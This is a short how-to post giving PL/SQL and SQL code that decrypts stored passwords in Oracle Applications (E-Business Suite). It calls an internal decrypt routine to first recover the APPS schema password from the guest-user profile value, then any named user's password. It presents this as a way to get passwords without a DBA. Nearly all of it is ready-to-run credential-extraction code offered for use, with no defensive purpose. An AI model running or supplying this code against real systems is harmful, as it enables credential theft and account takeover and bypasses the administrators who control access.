Retrieve the Password of any User in Oracle Applications.

How to get the Pass word of a User with out the help of a BDA in Oracle Apps

–Create the Following Package

CREATE OR REPLACE PACKAGE get_pwd
AS
FUNCTION decrypt (
KEY IN VARCHAR2
,VALUE IN VARCHAR2
)
RETURN VARCHAR2;
END get_pwd;
/

CREATE OR REPLACE PACKAGE BODY get_pwd
AS
FUNCTION decrypt (
KEY IN VARCHAR2
,VALUE IN VARCHAR2
)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String’;
END get_pwd;
/


/** Run Login Apps User on Toad/Oracle– Will get apps password */
SELECT (SELECT get_pwd.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE (‘GUEST_USER_PWD’))
FROM DUAL)), usertable.encrypted_foundation_password)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ((SELECT SUBSTR (fnd_profile.VALUE (‘GUEST_USER_PWD’)
,1
, INSTR (fnd_profile.VALUE (‘GUEST_USER_PWD’), ‘/’)
- 1
)
FROM DUAL))


–Run this on toad will get all the usernames and passwords

SELECT usertable.user_name
, (SELECT get_pwd.decrypt (UPPER ((SELECT (SELECT get_pwd.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE (‘GUEST_USER_PWD’))
FROM DUAL)), usertable.encrypted_foundation_password)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE
UPPER ((SELECT SUBSTR (fnd_profile.VALUE (‘GUEST_USER_PWD’)
,1
, INSTR (fnd_profile.VALUE (‘GUEST_USER_PWD’), ‘/’)
- 1
)
FROM DUAL))))
,usertable.encrypted_user_password)
FROM DUAL) AS encrypted_user_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER (‘&username’)


Once you run this select statement on sql or Toad after entering username in where condition, you will get the password instantly